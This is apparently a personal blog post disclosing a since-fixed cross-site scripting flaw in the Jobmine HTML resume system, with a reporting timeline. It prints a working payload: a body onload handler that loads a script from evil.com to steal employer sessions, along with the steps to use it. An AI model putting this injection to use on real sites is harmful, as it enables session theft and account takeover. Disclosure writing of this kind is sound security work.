Once upon a time Jobmine used to accept HTML resumes. This is generally a bad idea and many companies have been hurt by their decision to allow HTML in user generated content. This is something that must be done carefully and even experts get it wrong sometimes.
Ever since Jobmine has accepted HTML resumes, it has been vulnerable to cross site scripting (XSS). This involves injecting a bit of JavaScript into a student resume and then using it to snoop on and control an employer’s account or to change their transcript.
I don’t know when Jobmine was first introduced at Waterloo, but Peoplesoft was acquired by Oracle (the place where good things go to die) in 2005, so my guess is that it was vulnerable for more than 7 years. I found the bug in 2010. I reported it on February 7th, 2011. I was told that it would be in everyone’s interest for me to not publicize this information, and since I didn’t want to make enemies at the school, I chose not to do it until it was fixed. It was fixed in December 2012, more than a year and a half later.
Exploit
The exploit was very simple. It goes as follows:
- Upload a JavaScript file somewhere on the Internet which steals sessions, scrapes pages, etc.
- Create your HTML resume however you want.
- Modify the body tag in your HTLM to the snippet below.
- Apply to jobs
- ???
- Profit!
<body onload="(function(){var script = document.createElement('script');script.src='http://evil.com/inject.js';document.getElementsByTagName('head')[0].appendChild(script)})();">
The past and the future of Jobmine
In the time between when I found the bug and when it was fixed I found out from other people that this was a relatively well known bug and I met multiple people who have used it for various purposes. The bug was fixed by not allowing HTML resumes any more and instead allowing only pdf. I’ll leave it to your imagination how much more fun you can have with pdf files.
Timeline
February 7th, 2011 – Issue reported, no timeline given for fixing it
March 1, 2011 – Warning that I’ll publish my finding soon
March 3, 2011 – I was advised that it would be in everyone’s interest to not publish this
March 3, 2011 – I proposed allowing only “pdf/word/etc.” resumes
December 17-21, 2012 – Jobmine down for 4 days, switching to pdf resumes
Viktor Stanchev's Blog 